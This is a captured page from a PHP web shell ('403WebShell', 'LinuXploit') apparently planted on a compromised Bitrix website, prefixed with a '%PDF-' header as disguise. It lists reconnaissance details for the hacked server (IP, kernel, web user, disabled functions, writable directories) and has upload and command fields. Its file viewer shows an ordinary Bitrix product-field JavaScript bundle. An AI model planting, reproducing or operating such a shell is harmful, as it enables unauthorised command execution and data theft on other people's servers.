%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.225.234.164
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/productfield.bundle.js
this.BX = this.BX || {};
this.BX.Landing = this.BX.Landing || {};
this.BX.Landing.Ui = this.BX.Landing.Ui || {};
(function (exports,landing_ui_field_basefield,catalog_productForm,catalog_productCalculator,landing_pageobject,main_core,main_core_events,landing_ui_component_internal) {
	'use strict';

	var ProductField = /*#__PURE__*/function (_BaseField) {
	  babelHelpers.inherits(ProductField, _BaseField);

	  function ProductField(options) {
	    var _this;

	    babelHelpers.classCallCheck(this, ProductField);
	    _this = babelHelpers.possibleConstructorReturn(this, babelHelpers.getPrototypeOf(ProductField).call(this, options));

	    _this.setEventNamespace('BX.Landing.UI.Field.ProductField');

	    _this.subscribeFromOptions(landing_ui_component_internal.fetchEventsFromOptions(options));

	    _this.setLayoutClass('landing-ui-field-product');

	    _this.onBasketChange = _this.onBasketChange.bind(babelHelpers.assertThisInitialized(_this));
	    main_core.Dom.append(_this.getProductSelector().wrapper, _this.input);

	    _this.setProducts(_this.options.items);

	    var root = landing_pageobject.PageObject.getRootWindow();
	    root.BX.Event.EventEmitter.subscribe(_this.getProductSelector(), 'ProductForm:onBasketChange', _this.onBasketChange);
	    return _this;
	  }

	  babelHelpers.createClass(ProductField, [{
	    key: "setProducts",
	    value: function setProducts(products) {
	      this.cache.set('products', main_core.Runtime.clone(products));
	    }
	  }, {
	    key: "getProducts",
	    value: function getProducts() {
	      return this.cache.get('products') || [];
	    }
	  }, {
	    key: "onBasketChange",
	    value: function onBasketChange(event) {
	      var data = event.getData();
	      this.setProducts(data.basket);
	      this.emit('onChange', {
	        skipPrepare: true
	      });
	    }
	  }, {
	    key: "getValue",
	    value: function getValue() {
	      return this.getProducts().reduce(function (acc, item) {
	        if (!main_core.Type.isNil(item.offerId) || !main_core.Type.isNil(item.fields.productId)) {
	          var pics = [];

	          if (item.image && item.image.path) {
	            pics.push(item.image.path);
	          } else if (item.image && item.image.preview) {
	            var ic = document.createElement('div');
	            ic.innerHTML = item.image.preview;
	            ic = ic.querySelector('img');

	            if (ic && ic.src) {
	              pics.push(ic.src);
	            }
	          }

	          var value = item.offerId || item.fields.productId;

	          if (acc.some(function (item) {
	            return item.value === value;
	          })) {
	            return acc;
	          }

	          acc.push({
	            label: item.fields.name,
	            changeablePrice: false,
	            discount: item.fields.discount,
	            pics: pics,
	            price: item.fields.price,
	            quantity: [],
	            selected: false,
	            value: value
	          });
	        }

	        return acc;
	      }, []);
	    }
	  }, {
	    key: "getProductSelector",
	    value: function getProductSelector() {
	      var _this2 = this;

	      return this.cache.remember('productSelector', function () {
	        var root = landing_pageobject.PageObject.getRootWindow();
	        return new root.BX.Catalog.ProductForm({
	          iblockId: _this2.options.iblockId,
	          showResults: false,
	          allowedDiscountTypes: [catalog_productCalculator.DiscountType.MONETARY],
	          buttonsPosition: 'BOTTOM',
	          newItemPosition: 'BOTTOM',
	          basket: _this2.options.items
	        });
	      });
	    }
	  }]);
	  return ProductField;
	}(landing_ui_field_basefield.BaseField);

	exports.ProductField = ProductField;

}((this.BX.Landing.Ui.Field = this.BX.Landing.Ui.Field || {}),BX.Landing.UI.Field,BX.Catalog,BX.Catalog,BX.Landing,BX,BX.Event,BX.Landing.UI.Component));
//# sourceMappingURL=productfield.bundle.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit